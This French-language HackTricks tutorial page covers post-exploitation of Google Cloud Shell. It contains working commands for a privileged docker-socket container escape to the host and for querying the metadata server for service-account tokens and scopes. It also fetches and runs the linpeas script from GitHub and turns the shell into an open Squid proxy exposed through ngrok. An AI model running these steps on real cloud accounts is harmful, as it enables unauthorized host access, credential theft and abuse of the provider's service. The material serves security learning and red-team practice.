GCP - Cloud Shell Post Exploitation

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Cloud Shell

Pour plus d'informations sur Cloud Shell, consultez :

pageGCP - Cloud Shell Enum

Évasion de conteneur

Notez que le Cloud Shell de Google s'exécute à l'intérieur d'un conteneur, vous pouvez facilement vous échapper vers l'hôte en faisant :

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Cela n'est pas considéré comme une vulnérabilité par Google, mais cela vous donne une vision plus large de ce qui se passe dans cet environnement.

De plus, notez que depuis l'hôte, vous pouvez trouver un jeton de compte de service :

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Avec les étendues suivantes :

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Énumérer les métadonnées avec LinPEAS :

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Après avoir utilisé https://github.com/carlospolop/bf_my_gcp_permissions avec le jeton du compte de service aucune autorisation n'a été découverte...

Utilisez-le comme Proxy

Si vous souhaitez utiliser votre instance de shell Google Cloud comme proxy, vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) :

sudo apt install -y squid

Juste pour vous informer, Squid est un serveur proxy http. Créez un fichier squid.conf avec les paramètres suivants :

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

copiez le fichier squid.conf dans /etc/squid

sudo cp squid.conf /etc/squid

Enfin, exécutez le service squid :

sudo service squid start

Utilisez ngrok pour rendre le proxy accessible depuis l'extérieur :

./ngrok tcp 3128

Après avoir exécuté copiez l'URL tcp://. Si vous souhaitez exécuter le proxy à partir d'un navigateur, il est suggéré de supprimer la partie tcp:// et le port, puis de mettre le port dans le champ de port des paramètres de proxy de votre navigateur (squid est un serveur proxy http).

Pour une meilleure utilisation au démarrage, le fichier .bashrc devrait contenir les lignes suivantes:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Les instructions ont été copiées depuis https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Consultez cette page pour d'autres idées folles pour exécuter tout type de logiciel (bases de données et même Windows) dans Cloud Shell.

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Dernière mise à jour